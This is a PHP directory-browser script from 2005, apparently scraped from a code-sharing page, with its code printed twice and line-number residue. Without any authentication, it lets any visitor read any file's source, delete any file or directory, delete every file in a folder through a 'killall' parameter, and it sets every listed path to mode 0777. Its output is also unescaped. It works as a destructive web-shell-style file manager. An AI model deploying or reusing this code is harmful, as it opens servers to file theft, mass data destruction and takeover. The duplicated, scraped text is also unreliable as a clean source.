walkthrough-a-dir-v10
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
<?
////////////////////////////////////////////////////////
// Walkthough a dir Version 1.0 //
// This script is made by Devoney //
// Totally free to use in any situation //
// Please don't take credit for making this script. //
// Only leave my name here ;) //
// Made on 11 December 2005 //
////////////////////////////////////////////////////////
?>
<html>
<body text="#000000" alink="#339900" vlink="#339900" link="#339900">
<table align="center" width="800"><tr><td><fieldset><legend>Walk through a dir</legend>
<script language="javascript">
function confirmSubmit()
{
var agree=confirm("Are you sure?");
if (agree)
return true ;
else
return false ;
}
</script>
<?
if(empty($_GET))
{
echo 'Welkom<br>Dit script is gemaakt door Devoney in 2005. Dit is freeware, toegangkelijk voor iedereen.<br><a href="'.$PHP_SELF.'?dir=./">Klik hier om te beginnen met wandelen ;)</a>';
}
if(!empty($_GET['del']))
{
if(!is_dir($_GET['del']))
{
if(@unlink ($_GET['del']))
{
echo $_GET['del'].' has been deleted succesfully.';
}
else
{
echo '<font color="red">'.$_GET['del'].' failed to delete</font>';
}
}
else
{
if(@rmdir($_GET['del']))
{
echo $_GET['del'].' has been deleted succesfully.';
}
else
{
echo '<font color="red">'.$_GET['del'].' failed to delete</font>';
}
}
}
if(isset($_GET['high']))
{
if(!highlight_file($_GET['high']))
{
echo '<font color="red">Unable to highlight file</font>';
}
}
if ($handle = opendir($_GET['dir']))
{
echo "Files: <br>";
while (false !== ($file = readdir($handle)))
{
echo "<a href='".$_GET['dir'].$file."'>".$file."</a> - ";
if(is_dir($_GET['dir'].$file))
{
echo "<a href='".$_SERVER['PHP_SELF']."?dir=".$_GET['dir'].$file.'/'."'>goto</a>";
}
else
{
if(!empty($_GET['killall']))
{
if(unlink($_GET['dir'].$file))
{
echo 'Good: '.$_GET['dir'].$file;
}
else
{
echo 'fucked: '.$_GET['dir'].$file;
}
}
}
if(!is_dir($_GET['dir'].$file))
{
echo "- <a href='".$_SERVER['PHP_SELF']."?high=".$_GET['dir'].$file."'>highlight</a>";
}
echo " - <a href='".$_SERVER['PHP_SELF']."?del=".$_GET['dir'].$file."' onclick='return confirmSubmit()'>DELETE</a>";
$path = $_GET['dir'].$file."/";
if(is_writable($path))
{
echo '<font color="blue"> *SCHRIJFBAAR* </font>';
}
if(@chmod($path, 0777))
{
echo '<font color="blue"> *CHMODDED* </font>';
}
echo "<br>";
}
closedir($handle);
}
?>
</fieldset></td></tr></table>
</body>
</html>
////////////////////////////////////////////////////////
// Walkthough a dir Version 1.0 //
// This script is made by Devoney //
// Totally free to use in any situation //
// Please don't take credit for making this script. //
// Only leave my name here ;) //
// Made on 11 December 2005 //
////////////////////////////////////////////////////////
?>
<html>
<body text="#000000" alink="#339900" vlink="#339900" link="#339900">
<table align="center" width="800"><tr><td><fieldset><legend>Walk through a dir</legend>
<script language="javascript">
function confirmSubmit()
{
var agree=confirm("Are you sure?");
if (agree)
return true ;
else
return false ;
}
</script>
<?
if(empty($_GET))
{
echo 'Welkom<br>Dit script is gemaakt door Devoney in 2005. Dit is freeware, toegangkelijk voor iedereen.<br><a href="'.$PHP_SELF.'?dir=./">Klik hier om te beginnen met wandelen ;)</a>';
}
if(!empty($_GET['del']))
{
if(!is_dir($_GET['del']))
{
if(@unlink ($_GET['del']))
{
echo $_GET['del'].' has been deleted succesfully.';
}
else
{
echo '<font color="red">'.$_GET['del'].' failed to delete</font>';
}
}
else
{
if(@rmdir($_GET['del']))
{
echo $_GET['del'].' has been deleted succesfully.';
}
else
{
echo '<font color="red">'.$_GET['del'].' failed to delete</font>';
}
}
}
if(isset($_GET['high']))
{
if(!highlight_file($_GET['high']))
{
echo '<font color="red">Unable to highlight file</font>';
}
}
if ($handle = opendir($_GET['dir']))
{
echo "Files: <br>";
while (false !== ($file = readdir($handle)))
{
echo "<a href='".$_GET['dir'].$file."'>".$file."</a> - ";
if(is_dir($_GET['dir'].$file))
{
echo "<a href='".$_SERVER['PHP_SELF']."?dir=".$_GET['dir'].$file.'/'."'>goto</a>";
}
else
{
if(!empty($_GET['killall']))
{
if(unlink($_GET['dir'].$file))
{
echo 'Good: '.$_GET['dir'].$file;
}
else
{
echo 'fucked: '.$_GET['dir'].$file;
}
}
}
if(!is_dir($_GET['dir'].$file))
{
echo "- <a href='".$_SERVER['PHP_SELF']."?high=".$_GET['dir'].$file."'>highlight</a>";
}
echo " - <a href='".$_SERVER['PHP_SELF']."?del=".$_GET['dir'].$file."' onclick='return confirmSubmit()'>DELETE</a>";
$path = $_GET['dir'].$file."/";
if(is_writable($path))
{
echo '<font color="blue"> *SCHRIJFBAAR* </font>';
}
if(@chmod($path, 0777))
{
echo '<font color="blue"> *CHMODDED* </font>';
}
echo "<br>";
}
closedir($handle);
}
?>
</fieldset></td></tr></table>
</body>
</html>